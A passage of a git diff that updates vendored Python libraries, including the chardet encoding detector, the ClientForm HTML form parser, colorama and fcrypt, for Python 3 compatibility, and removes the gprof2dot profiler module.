- maxProber = None - for prober in self._mCharSetProbers: - if not prober: - continue - proberConfidence = prober.get_confidence() - if proberConfidence > maxProberConfidence: - maxProberConfidence = proberConfidence - maxProber = prober - if maxProber and (maxProberConfidence > MINIMUM_THRESHOLD): - self.result = {'encoding': maxProber.get_charset_name(), - 'confidence': maxProber.get_confidence()} - return self.result - - if constants._debug: - sys.stderr.write('no probers hit minimum threshhold\n') - for prober in self._mCharSetProbers[0].mProbers: + # Default to ASCII if it is all we've seen so far + elif self._input_state == InputState.PURE_ASCII: + self.result = {'encoding': 'ascii', + 'confidence': 1.0, + 'language': ''} + + # If we have seen non-ASCII, return the best that met MINIMUM_THRESHOLD + elif self._input_state == InputState.HIGH_BYTE: + prober_confidence = None + max_prober_confidence = 0.0 + max_prober = None + for prober in self._charset_probers: if not prober: continue - sys.stderr.write('%s confidence = %s\n' % - (prober.get_charset_name(), - prober.get_confidence())) + prober_confidence = prober.get_confidence() + if prober_confidence > max_prober_confidence: + max_prober_confidence = prober_confidence + max_prober = prober + if max_prober and (max_prober_confidence > self.MINIMUM_THRESHOLD): + charset_name = max_prober.charset_name + lower_charset_name = max_prober.charset_name.lower() + confidence = max_prober.get_confidence() + # Use Windows encoding name instead of ISO-8859 if we saw any + # extra Windows-specific bytes + if lower_charset_name.startswith('iso-8859'): + if self._has_win_bytes: + charset_name = self.ISO_WIN_MAP.get(lower_charset_name, + charset_name) + self.result = {'encoding': charset_name, + 'confidence': confidence, + 'language': max_prober.language} + + # Log all prober confidences if none met MINIMUM_THRESHOLD + if self.logger.getEffectiveLevel() == logging.DEBUG: + if self.result['encoding'] is None: + self.logger.debug('no probers hit minimum threshold') + for group_prober in self._charset_probers: + if not group_prober: + continue + if isinstance(group_prober, CharSetGroupProber): + for prober in group_prober.probers: + self.logger.debug('%s %s confidence = %s', + prober.charset_name, + prober.language, + prober.get_confidence()) + else: + self.logger.debug('%s %s confidence = %s', + prober.charset_name, + prober.language, + prober.get_confidence()) + return self.result diff --git a/thirdparty/chardet/utf8prober.py b/thirdparty/chardet/utf8prober.py index 42d32ec3abf..6c3196cc2d7 100644 --- a/thirdparty/chardet/utf8prober.py +++ b/thirdparty/chardet/utf8prober.py @@ -25,52 +25,58 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -from . import constants from .charsetprober import CharSetProber +from .enums import ProbingState, MachineState from .codingstatemachine import CodingStateMachine -from .mbcssm import UTF8SMModel +from .mbcssm import UTF8_SM_MODEL -ONE_CHAR_PROB = 0.5 class UTF8Prober(CharSetProber): + ONE_CHAR_PROB = 0.5 + def __init__(self): - CharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(UTF8SMModel) + super(UTF8Prober, self).__init__() + self.coding_sm = CodingStateMachine(UTF8_SM_MODEL) + self._num_mb_chars = None self.reset() def reset(self): - CharSetProber.reset(self) - self._mCodingSM.reset() - self._mNumOfMBChar = 0 + super(UTF8Prober, self).reset() + self.coding_sm.reset() + self._num_mb_chars = 0 - def get_charset_name(self): + @property + def charset_name(self): return "utf-8" - def feed(self, aBuf): - for c in aBuf: - codingState = self._mCodingSM.next_state(c) - if codingState == constants.eError: - self._mState = constants.eNotMe + @property + def language(self): + return "" + + def feed(self, byte_str): + for c in byte_str: + coding_state = self.coding_sm.next_state(c) + if coding_state == MachineState.ERROR: + self._state = ProbingState.NOT_ME break - elif codingState == constants.eItsMe: - self._mState = constants.eFoundIt + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT break - elif codingState == constants.eStart: - if self._mCodingSM.get_current_charlen() >= 2: - self._mNumOfMBChar += 1 + elif coding_state == MachineState.START: + if self.coding_sm.get_current_charlen() >= 2: + self._num_mb_chars += 1 - if self.get_state() == constants.eDetecting: - if self.get_confidence() > constants.SHORTCUT_THRESHOLD: - self._mState = constants.eFoundIt + if self.state == ProbingState.DETECTING: + if self.get_confidence() > self.SHORTCUT_THRESHOLD: + self._state = ProbingState.FOUND_IT - return self.get_state() + return self.state def get_confidence(self): unlike = 0.99 - if self._mNumOfMBChar < 6: - for i in xrange(0, self._mNumOfMBChar): - unlike = unlike * ONE_CHAR_PROB + if self._num_mb_chars < 6: + unlike *= self.ONE_CHAR_PROB ** self._num_mb_chars return 1.0 - unlike else: return unlike diff --git a/thirdparty/chardet/version.py b/thirdparty/chardet/version.py new file mode 100644 index 00000000000..bb2a34a70ea --- /dev/null +++ b/thirdparty/chardet/version.py @@ -0,0 +1,9 @@ +""" +This module exists only to simplify retrieving the version number of chardet +from within setup.py and from chardet subpackages. + +:author: Dan Blanchard (dan.blanchard@gmail.com) +""" + +__version__ = "3.0.4" +VERSION = __version__.split('.') diff --git a/thirdparty/clientform/__init__.py b/thirdparty/clientform/__init__.py index d79a05bdaa7..e69de29bb2d 100644 --- a/thirdparty/clientform/__init__.py +++ b/thirdparty/clientform/__init__.py @@ -1,19 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2007-2008 David McNab -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see <http://www.gnu.org/licenses/>. -# - -pass diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 20feafd2f6c..34f2f999f49 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -66,17 +66,6 @@ 'SubmitButtonControl', 'SubmitControl', 'TextControl', 'TextareaControl', 'XHTMLCompatibleFormParser'] -try: True -except NameError: - True = 1 - False = 0 - -try: bool -except NameError: - def bool(expr): - if expr: return True - else: return False - try: import logging import inspect @@ -104,11 +93,29 @@ def _show_debug_messages(): handler.setLevel(logging.DEBUG) _logger.addHandler(handler) -import sys, urllib, urllib2, types, mimetools, copy, urlparse, \ - htmlentitydefs, re, random -from cStringIO import StringIO +try: + from thirdparty import six + from thirdparty.six import unichr as _unichr + from thirdparty.six.moves import cStringIO as _cStringIO + from thirdparty.six.moves import html_entities as _html_entities + from thirdparty.six.moves import urllib as _urllib +except ImportError: + import six + from six import unichr as _unichr + from six.moves import cStringIO as _cStringIO + from six.moves import html_entities as _html_entities + from six.moves import urllib as _urllib + +try: + import sgmllib +except ImportError: + from lib.utils import sgmllib + +import sys, re, random + +if sys.version_info >= (3, 0): + xrange = range -import sgmllib # monkeypatch to fix http://www.python.org/sf/803422 :-( sgmllib.charref = re.compile("&#(x?[0-9a-fA-F]+)[^0-9a-fA-F]") @@ -144,6 +151,14 @@ def compress_text(text): return _compress_re.sub(" ", text.strip()) def normalize_line_endings(text): return re.sub(r"(?:(?<!\r)\n)|(?:\r(?!\n))", "\r\n", text) +def _quote_plus(value): + if not isinstance(value, six.string_types): + value = six.text_type(value) + + if isinstance(value, six.text_type): + value = value.encode("utf8") + + return _urllib.parse.quote_plus(value) # This version of urlencode is from my Python 1.5.2 back-port of the # Python 2.1 CVS maintenance branch of urllib. It will accept a sequence @@ -170,7 +185,7 @@ def urlencode(query,doseq=False,): # non-sequence items should not work with len() x = len(query) # non-empty strings will fail this - if len(query) and type(query[0]) != types.TupleType: + if len(query) and type(query[0]) != tuple: raise TypeError() # zero-length sequences of all types will get here and succeed, # but that's a minor nit - since the original implementation @@ -185,20 +200,14 @@ def urlencode(query,doseq=False,): if not doseq: # preserve old behavior for k, v in query: - k = urllib.quote_plus(str(k)) - v = urllib.quote_plus(str(v)) + k = _quote_plus(k) + v = _quote_plus(v) l.append(k + '=' + v) else: for k, v in query: - k = urllib.quote_plus(str(k)) - if type(v) == types.StringType: - v = urllib.quote_plus(v) - l.append(k + '=' + v) - elif type(v) == types.UnicodeType: - # is there a reasonable way to convert to ASCII? - # encode generates a string, but "replace" or "ignore" - # lose information and "strict" can raise UnicodeError - v = urllib.quote_plus(v.encode("ASCII","replace")) + k = _quote_plus(k) + if isinstance(v, six.string_types): + v = _quote_plus(v) l.append(k + '=' + v) else: try: @@ -206,18 +215,21 @@ def urlencode(query,doseq=False,): x = len(v) except TypeError: # not a sequence - v = urllib.quote_plus(str(v)) + v = _quote_plus(v) l.append(k + '=' + v) else: # loop over the sequence for elt in v: - l.append(k + '=' + urllib.quote_plus(str(elt))) + l.append(k + '=' + _quote_plus(elt)) return '&'.join(l) def unescape(data, entities, encoding=DEFAULT_ENCODING): if data is None or "&" not in data: return data + if isinstance(data, six.string_types): + encoding = None + def replace_entities(match, entities=entities, encoding=encoding): ent = match.group() if ent[1] == "#": @@ -225,9 +237,9 @@ def replace_entities(match, entities=entities, encoding=encoding): repl = entities.get(ent) if repl is not None: - if type(repl) != type(""): + if hasattr(repl, "decode") and encoding is not None: try: - repl = repl.encode(encoding) + repl = repl.decode(encoding) except UnicodeError: repl = ent else: @@ -243,35 +255,29 @@ def unescape_charref(data, encoding): name, base= name[1:], 16 elif not name.isdigit(): base = 16 - uc = unichr(int(name, base)) - if encoding is None: - return uc - else: - try: - repl = uc.encode(encoding) - except UnicodeError: - repl = "&#%s;" % data - return repl + + try: + return _unichr(int(name, base)) + except: + return data def get_entitydefs(): - import htmlentitydefs from codecs import latin_1_decode entitydefs = {} try: - htmlentitydefs.name2codepoint + _html_entities.name2codepoint except AttributeError: entitydefs = {} - for name, char in htmlentitydefs.entitydefs.items(): + for name, char in _html_entities.entitydefs.items(): uc = latin_1_decode(char)[0] if uc.startswith("&#") and uc.endswith(";"): uc = unescape_charref(uc[2:-1], None) entitydefs["&%s;" % name] = uc else: - for name, codepoint in htmlentitydefs.name2codepoint.items(): - entitydefs["&%s;" % name] = unichr(codepoint) + for name, codepoint in _html_entities.name2codepoint.items(): + entitydefs["&%s;" % name] = _unichr(codepoint) return entitydefs - def issequence(x): try: x[0] @@ -290,7 +296,7 @@ def isstringlike(x): def choose_boundary(): """Return a string usable as a multipart boundary.""" # follow IE and firefox - nonce = "".join([str(random.randint(0, sys.maxint-1)) for i in 0,1,2]) + nonce = "".join([str(random.randint(0, sys.maxsize-1)) for i in (0,1,2)]) return "-"*27 + nonce # This cut-n-pasted MimeWriter from standard library is here so can add @@ -590,8 +596,8 @@ def _start_option(self, attrs): self._option = {} self._option.update(d) - if (self._optgroup and self._optgroup.has_key("disabled") and - not self._option.has_key("disabled")): + if (self._optgroup and "disabled" in self._optgroup and + "disabled" not in self._option): self._option["disabled"] = None def _end_option(self): @@ -601,9 +607,9 @@ def _end_option(self): contents = self._option.get("contents", "").strip() self._option["contents"] = contents - if not self._option.has_key("value"): + if "value" not in self._option: self._option["value"] = contents - if not self._option.has_key("label"): + if "label" not in self._option: self._option["label"] = contents # stuff dict of SELECT HTML attrs into a special private key # (gets deleted again later) @@ -691,7 +697,7 @@ def handle_data(self, data): else: return - if data and not map.has_key(key): + if data and key not in map: # according to # http://www.w3.org/TR/html4/appendix/notes.html#h-B.3.1 line break # immediately after start tags or immediately before end tags must @@ -703,7 +709,7 @@ def handle_data(self, data): data = data[1:] map[key] = data else: - map[key] = map[key] + data + map[key] = (map[key].decode("utf8", "replace") if isinstance(map[key], six.binary_type) else map[key]) + data def do_button(self, attrs): debug("%s", attrs) @@ -792,7 +798,7 @@ def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): def feed(self, data): try: HTMLParser.HTMLParser.feed(self, data) - except HTMLParser.HTMLParseError, exc: + except HTMLParser.HTMLParseError as exc: raise ParseError(exc) def start_option(self, attrs): @@ -870,7 +876,7 @@ def __init__(self, entitydefs=None, encoding=DEFAULT_ENCODING): def feed(self, data): try: sgmllib.SGMLParser.feed(self, data) - except SGMLLIB_PARSEERROR, exc: + except SGMLLIB_PARSEERROR as exc: raise ParseError(exc) def close(self): @@ -896,7 +902,7 @@ def handle_data(self, data): def feed(self, data): try: self.bs_base_class.feed(self, data) - except SGMLLIB_PARSEERROR, exc: + except SGMLLIB_PARSEERROR as exc: raise ParseError(exc) def close(self): self.bs_base_class.close(self) @@ -938,14 +944,14 @@ class NestingRobustFormParser(_AbstractBSFormParser, icbinbs): def ParseResponseEx(response, select_default=False, form_parser_class=FormParser, - request_class=urllib2.Request, + request_class=_urllib.request.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private - _urljoin=urlparse.urljoin, - _urlparse=urlparse.urlparse, - _urlunparse=urlparse.urlunparse, + _urljoin=_urllib.parse.urljoin, + _urlparse=_urllib.parse.urlparse, + _urlunparse=_urllib.parse.urlunparse, ): """Identical to ParseResponse, except that: @@ -972,14 +978,14 @@ def ParseResponseEx(response, def ParseFileEx(file, base_uri, select_default=False, form_parser_class=FormParser, - request_class=urllib2.Request, + request_class=_urllib.request.Request, entitydefs=None, encoding=DEFAULT_ENCODING, # private - _urljoin=urlparse.urljoin, - _urlparse=urlparse.urlparse, - _urlunparse=urlparse.urlunparse, + _urljoin=_urllib.parse.urljoin, + _urlparse=_urllib.parse.urlparse, + _urlunparse=_urllib.parse.urlunparse, ): """Identical to ParseFile, except that: @@ -1017,7 +1023,7 @@ def ParseResponse(response, *args, **kwds): pick the first item as the default if none are selected in the HTML form_parser_class: class to instantiate and use to pass request_class: class to return from .click() method (default is - urllib2.Request) + _urllib.request.Request) entitydefs: mapping like {"&": "&", ...} containing HTML entity definitions (a sensible default is used) encoding: character encoding used for encoding numeric character references @@ -1085,13 +1091,13 @@ def _ParseFileEx(file, base_uri, select_default=False, ignore_errors=False, form_parser_class=FormParser, - request_class=urllib2.Request, + request_class=_urllib.request.Request, entitydefs=None, backwards_compat=True, encoding=DEFAULT_ENCODING, - _urljoin=urlparse.urljoin, - _urlparse=urlparse.urlparse, - _urlunparse=urlparse.urlunparse, + _urljoin=_urllib.parse.urljoin, + _urlparse=_urllib.parse.urlparse, + _urlunparse=_urllib.parse.urlunparse, ): if backwards_compat: deprecation("operating in backwards-compatibility mode", 1) @@ -1124,7 +1130,7 @@ def _ParseFileEx(file, base_uri, if action is None: action = base_uri else: - action = unicode(action, "utf8") if action and not isinstance(action, unicode) else action + action = six.text_type(action, "utf8") if action and isinstance(action, six.binary_type) else action action = _urljoin(base_uri, action) # would be nice to make HTMLForm class (form builder) pluggable form = HTMLForm( @@ -1319,16 +1325,16 @@ def __init__(self, type, name, attrs, index=None): self.__dict__["type"] = type.lower() self.__dict__["name"] = name self._value = attrs.get("value") - self.disabled = attrs.has_key("disabled") - self.readonly = attrs.has_key("readonly") + self.disabled = "disabled" in attrs + self.readonly = "readonly" in attrs self.id = attrs.get("id") self.attrs = attrs.copy() self._clicked = False - self._urlparse = urlparse.urlparse - self._urlunparse = urlparse.urlunparse + self._urlparse = _urllib.parse.urlparse + self._urlunparse = _urllib.parse.urlunparse def __getattr__(self, name): if name == "value": @@ -1448,7 +1454,7 @@ def _write_mime_data(self, mw, _name, _value): # assert _name == self.name and _value == '' if len(self._upload_data) < 2: if len(self._upload_data) == 0: - file_object = StringIO() + file_object = _cStringIO() content_type = "application/octet-stream" filename = "" else: @@ -1526,7 +1532,7 @@ class IsindexControl(ScalarControl): ISINDEX elements outside of FORMs are ignored. If you want to submit one by hand, do it like so: - url = urlparse.urljoin(page_uri, "?"+urllib.quote_plus("my isindex value")) + url = _urllib.parse.urljoin(page_uri, "?"+_urllib.parse.quote_plus("my isindex value")) result = urllib2.urlopen(url) """ @@ -1540,7 +1546,7 @@ def is_of_kind(self, kind): return kind in ["text", "clickable"] def _totally_ordered_pairs(self): return [] - def _click(self, form, coord, return_type, request_class=urllib2.Request): + def _click(self, form, coord, return_type, request_class=_urllib.request.Request): # Relative URL for ISINDEX submission: instead of "foo=bar+baz", # want "bar+baz". # This doesn't seem to be specified in HTML 4.01 spec. (ISINDEX is @@ -1548,7 +1554,7 @@ def _click(self, form, coord, return_type, request_class=urllib2.Request): # Submission of ISINDEX is explained in the HTML 3.2 spec, though. parts = self._urlparse(form.action) rest, (query, frag) = parts[:-2], parts[-2:] - parts = rest + (urllib.quote_plus(self.value), None) + parts = rest + (_urllib.parse.quote_plus(self.value), None) url = self._urlunparse(parts) req_data = url, None, [] @@ -1620,7 +1626,7 @@ def __init__(self, control, attrs, index=None): "_labels": label and [label] or [], "attrs": attrs, "_control": control, - "disabled": attrs.has_key("disabled"), + "disabled": "disabled" in attrs, "_selected": False, "id": attrs.get("id"), "_index": index, @@ -1924,7 +1930,7 @@ def _set_selected_state(self, item, action): raise AttributeError("control '%s' is disabled" % self.name) if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) - action == bool(action) + action = bool(action) compat = self._form.backwards_compat if not compat and item.disabled: raise AttributeError("item is disabled") @@ -2288,7 +2294,7 @@ def __init__(self, type, name, attrs, select_default=False, index=None): called_as_base_class=True, index=index) self.__dict__["multiple"] = False o = Item(self, attrs, index) - o.__dict__["_selected"] = attrs.has_key("checked") + o.__dict__["_selected"] = "checked" in attrs def fixup(self): ListControl.fixup(self) @@ -2321,7 +2327,7 @@ def __init__(self, type, name, attrs, select_default=False, index=None): called_as_base_class=True, index=index) self.__dict__["multiple"] = True o = Item(self, attrs, index) - o.__dict__["_selected"] = attrs.has_key("checked") + o.__dict__["_selected"] = "checked" in attrs def get_labels(self): return [] @@ -2389,7 +2395,7 @@ def __init__(self, type, name, attrs, select_default=False, index=None): self.attrs = attrs["__select"].copy() self.__dict__["_label"] = _get_label(self.attrs) self.__dict__["id"] = self.attrs.get("id") - self.__dict__["multiple"] = self.attrs.has_key("multiple") + self.__dict__["multiple"] = "multiple" in self.attrs # the majority of the contents, label, and value dance already happened contents = attrs.get("contents") attrs = attrs.copy() @@ -2397,12 +2403,12 @@ def __init__(self, type, name, attrs, select_default=False, index=None): ListControl.__init__(self, type, name, self.attrs, select_default, called_as_base_class=True, index=index) - self.disabled = self.attrs.has_key("disabled") - self.readonly = self.attrs.has_key("readonly") - if attrs.has_key("value"): + self.disabled = "disabled" in self.attrs + self.readonly = "readonly" in self.attrs + if "value" in attrs: # otherwise it is a marker 'select started' token o = Item(self, attrs, index) - o.__dict__["_selected"] = attrs.has_key("selected") + o.__dict__["_selected"] = "selected" in attrs # add 'label' label and contents label, if different. If both are # provided, the 'label' label is used for display in HTML # 4.0-compliant browsers (and any lower spec? not sure) while the @@ -2467,7 +2473,7 @@ def get_labels(self): def is_of_kind(self, kind): return kind == "clickable" - def _click(self, form, coord, return_type, request_class=urllib2.Request): + def _click(self, form, coord, return_type, request_class=_urllib.request.Request): self._clicked = coord r = form._switch_click(return_type, request_class) self._clicked = False @@ -2763,7 +2769,7 @@ def find_control(self, def __init__(self, action, method="GET", enctype=None, name=None, attrs=None, - request_class=urllib2.Request, + request_class=_urllib.request.Request, forms=None, labels=None, id_to_labels=None, backwards_compat=True): """ @@ -2795,8 +2801,8 @@ def __init__(self, action, method="GET", self.backwards_compat = backwards_compat # note __setattr__ - self._urlunparse = urlparse.urlunparse - self._urlparse = urlparse.urlparse + self._urlunparse = _urllib.parse.urlunparse + self._urlparse = _urllib.parse.urlparse def __getattr__(self, name): if name == "backwards_compat": @@ -3094,11 +3100,11 @@ def add_file(self, file_object, content_type=None, filename=None, # Form submission methods, applying only to clickable controls. def click(self, name=None, type=None, id=None, nr=0, coord=(1,1), - request_class=urllib2.Request, + request_class=_urllib.request.Request, label=None): """Return request that would result from clicking on a control. - The request object is a urllib2.Request instance, which you can pass to + The request object is a _urllib.request.Request instance, which you can pass to urllib2.urlopen (or ClientCookie.urlopen). Only some control types (INPUT/SUBMIT & BUTTON/SUBMIT buttons and @@ -3123,7 +3129,7 @@ def click(self, name=None, type=None, id=None, nr=0, coord=(1,1), def click_request_data(self, name=None, type=None, id=None, nr=0, coord=(1,1), - request_class=urllib2.Request, + request_class=_urllib.request.Request, label=None): """As for click method, but return a tuple (url, data, headers). @@ -3135,14 +3141,14 @@ def click_request_data(self, # instead! import urllib url, data, hdrs = form.click_request_data() - r = urllib.urlopen(url, data) + r = _urllib.request.urlopen(url, data) # Untested. I don't know of any reason to use httplib -- you can get # just as much control with urllib2. import httplib, urlparse url, data, hdrs = form.click_request_data() tup = urlparse(url) - host, path = tup[1], urlparse.urlunparse((None, None)+tup[2:]) + host, path = tup[1], _urllib.parse.urlunparse((None, None)+tup[2:]) conn = httplib.HTTPConnection(host) if data: httplib.request("POST", path, data, hdrs) @@ -3314,7 +3320,7 @@ def _find_control(self, name, type, kind, id, label, predicate, nr): assert False def _click(self, name, type, id, label, nr, coord, return_type, - request_class=urllib2.Request): + request_class=_urllib.request.Request): try: control = self._find_control( name, type, "clickable", id, label, None, nr) @@ -3353,7 +3359,7 @@ def _pairs_and_controls(self): def _request_data(self): """Return a tuple (url, data, headers).""" method = self.method.upper() - #scheme, netloc, path, parameters, query, frag = urlparse.urlparse(self.action) + #scheme, netloc, path, parameters, query, frag = _urllib.parse.urlparse(self.action) parts = self._urlparse(self.action) rest, (query, frag) = parts[:-2], parts[-2:] @@ -3372,7 +3378,7 @@ def _request_data(self): return (uri, self._pairs(), [("Content-Type", self.enctype)]) elif self.enctype == "multipart/form-data": - data = StringIO() + data = _cStringIO() http_hdrs = [] mw = MimeWriter(data, http_hdrs) f = mw.startmultipartbody("form-data", add_to_http_hdrs=True, @@ -3387,7 +3393,7 @@ def _request_data(self): else: raise ValueError("Unknown method '%s'" % method) - def _switch_click(self, return_type, request_class=urllib2.Request): + def _switch_click(self, return_type, request_class=_urllib.request.Request): # This is called by HTMLForm and clickable Controls to hide switching # on return_type. if return_type == "pairs": @@ -3396,6 +3402,7 @@ def _switch_click(self, return_type, request_class=urllib2.Request): return self._request_data() else: req_data = self._request_data() + req = request_class(req_data[0], req_data[1]) for key, val in req_data[2]: add_hdr = req.add_header diff --git a/thirdparty/colorama/ansitowin32.py b/thirdparty/colorama/ansitowin32.py index 2c9cea763c4..a93bd3802e0 100644 --- a/thirdparty/colorama/ansitowin32.py +++ b/thirdparty/colorama/ansitowin32.py @@ -46,8 +46,8 @@ class AnsiToWin32(object): sequences from the text, and if outputting to a tty, will convert them into win32 function calls. ''' - ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer - ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command + ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer + ANSI_OSC_RE = re.compile('\001?\033\\]([^\a]*)(\a)\002?') # Operating System Command (Note: https://github.com/tartley/colorama/issues/247) def __init__(self, wrapped, convert=None, strip=None, autoreset=False): # The wrapped stream (normally sys.stdout or sys.stderr) @@ -184,6 +184,8 @@ def _write(self, text, retry=5): if not (err.errno == 0 and retry > 0): raise self._write(text, retry-1) + except UnicodeError: + self.wrapped.write('?') def convert_ansi(self, paramstring, command): if self.convert: @@ -241,6 +243,6 @@ def convert_osc(self, text): # 0 - change title and icon (we will only change title) # 1 - change icon (we don't support this) # 2 - change title - if params[0] in '02': - winterm.set_title(params[1]) + # if params[0] in '02': + # winterm.set_title(params[1]) return text diff --git a/thirdparty/fcrypt/fcrypt.py b/thirdparty/fcrypt/fcrypt.py index bd6c970ba0b..8fb36a62316 100644 --- a/thirdparty/fcrypt/fcrypt.py +++ b/thirdparty/fcrypt/fcrypt.py @@ -119,8 +119,10 @@ # ----- END fcrypt.c LICENSE ----- -import string, struct +import struct, sys +if sys.version_info >= (3, 0): + xrange = range _ITERATIONS = 16 @@ -453,7 +455,7 @@ def _PERM_OP(a,b,n,m): def _set_key(password): """Generate DES key schedule from ASCII password.""" - c,d = struct.unpack('<ii', password) + c,d = struct.unpack('<ii', password.encode("utf8") if not isinstance(password, bytes) else password) c = (c & 0x7f7f7f7f) << 1 d = (d & 0x7f7f7f7f) << 1 @@ -571,7 +573,7 @@ def crypt(password, salt): getpass module, and generate the salt randomly: >>> import random, string - >>> saltchars = string.letters + string.digits + './' + >>> saltchars = string.ascii_letters + string.digits + './' >>> salt = random.choice(saltchars) + random.choice(saltchars) Note that other ASCII characters are accepted in the salt, but the @@ -604,7 +606,7 @@ def crypt(password, salt): # Convert to characters. for i in xrange(len(r)): r[i] = _cov_2char[r[i]] - return salt[:2] + string.join(r, '') + return salt[:2] + ''.join(r) def _test(): """Run doctest on fcrypt module.""" diff --git a/thirdparty/gprof2dot/__init__.py b/thirdparty/gprof2dot/__init__.py deleted file mode 100644 index c1a869589f3..00000000000 --- a/thirdparty/gprof2dot/__init__.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2008-2009 Jose Fonseca -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see <http://www.gnu.org/licenses/>. -# - -pass diff --git a/thirdparty/gprof2dot/gprof2dot.py b/thirdparty/gprof2dot/gprof2dot.py deleted file mode 100644 index f347961996f..00000000000 --- a/thirdparty/gprof2dot/gprof2dot.py +++ /dev/null @@ -1,2624 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2008-2009 Jose Fonseca -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see <http://www.gnu.org/licenses/>. -# - -"""Generate a dot graph from the output of several profilers.""" - -__author__ = "Jose Fonseca" - -__version__ = "1.0" - - -import sys -import math -import os.path -import re -import textwrap -import optparse -import xml.parsers.expat - - -try: - # Debugging helper module - import debug -except ImportError: - pass - - -def times(x): - return u"%u\xd7" % (x,) - -def percentage(p): - return "%.02f%%" % (p*100.0,) - -def add(a, b): - return a + b - -def equal(a, b): - if a == b: - return a - else: - return None - -def fail(a, b): - assert False - - -tol = 2 ** -23 - -def ratio(numerator, denominator): - try: - ratio = float(numerator)/float(denominator) - except ZeroDivisionError: - # 0/0 is undefined, but 1.0 yields more useful results - return 1.0 - if ratio < 0.0: - if ratio < -tol: - sys.stderr.write('warning: negative ratio (%s/%s)\n' % (numerator, denominator)) - return 0.0 - if ratio > 1.0: - if ratio > 1.0 + tol: - sys.stderr.write('warning: ratio greater than one (%s/%s)\n' % (numerator, denominator)) - return 1.0 - return ratio - - -class UndefinedEvent(Exception): - """Raised when attempting to get an event which is undefined.""" - - def __init__(self, event): - Exception.__init__(self) - self.event = event - - def __str__(self): - return 'unspecified event %s' % self.event.name - - -class Event(object): - """Describe a kind of event, and its basic operations.""" - - def __init__(self, name, null, aggregator, formatter = str): - self.name = name - self._null = null - self._aggregator = aggregator - self._formatter = formatter - - def __eq__(self, other): - return self is other - - def __hash__(self): - return id(self) - - def null(self): - return self._null - - def aggregate(self, val1, val2): - """Aggregate two event values.""" - assert val1 is not None - assert val2 is not None - return self._aggregator(val1, val2) - - def format(self, val): - """Format an event value.""" - assert val is not None - return self._formatter(val) - - -CALLS = Event("Calls", 0, add, times) -SAMPLES = Event("Samples", 0, add) -SAMPLES2 = Event("Samples", 0, add) - -TIME = Event("Time", 0.0, add, lambda x: '(' + str(x) + ')') -TIME_RATIO = Event("Time ratio", 0.0, add, lambda x: '(' + percentage(x) + ')') -TOTAL_TIME = Event("Total time", 0.0, fail) -TOTAL_TIME_RATIO = Event("Total time ratio", 0.0, fail, percentage) - - -class Object(object): - """Base class for all objects in profile which can store events.""" - - def __init__(self, events=None): - if events is None: - self.events = {} - else: - self.events = events - - def __hash__(self): - return id(self) - - def __eq__(self, other): - return self is other - - def __contains__(self, event): - return event in self.events - - def __getitem__(self, event): - try: - return self.events[event] - except KeyError: - raise UndefinedEvent(event) - - def __setitem__(self, event, value): - if value is None: - if event in self.events: - del self.events[event] - else: - self.events[event] = value - - -class Call(Object): - """A call between functions. - - There should be at most one call object for every pair of functions. - """ - - def __init__(self, callee_id): - Object.__init__(self) - self.callee_id = callee_id - self.ratio = None - self.weight = None - - -class Function(Object): - """A function.""" - - def __init__(self, id, name): - Object.__init__(self) - self.id = id - self.name = name - self.module = None - self.process = None - self.calls = {} - self.called = None - self.weight = None - self.cycle = None - - def add_call(self, call): - if call.callee_id in self.calls: - sys.stderr.write('warning: overwriting call from function %s to %s\n' % (str(self.id), str(call.callee_id))) - self.calls[call.callee_id] = call - - # TODO: write utility functions - - def __repr__(self): - return self.name - - -class Cycle(Object): - """A cycle made from recursive function calls.""" - - def __init__(self): - Object.__init__(self) - # XXX: Do cycles need an id? - self.functions = set() - - def add_function(self, function): - assert function not in self.functions - self.functions.add(function) - # XXX: Aggregate events? - if function.cycle is not None: - for other in function.cycle.functions: - if function not in self.functions: - self.add_function(other) - function.cycle = self - - -class Profile(Object): - """The whole profile.""" - - def __init__(self): - Object.__init__(self) - self.functions = {} - self.cycles = [] - - def add_function(self, function): - if function.id in self.functions: - sys.stderr.write('warning: overwriting function %s (id %s)\n' % (function.name, str(function.id))) - self.functions[function.id] = function - - def add_cycle(self, cycle): - self.cycles.append(cycle) - - def validate(self): - """Validate the edges.""" - - for function in self.functions.itervalues(): - for callee_id in function.calls.keys(): - assert function.calls[callee_id].callee_id == callee_id - if callee_id not in self.functions: - sys.stderr.write('warning: call to undefined function %s from 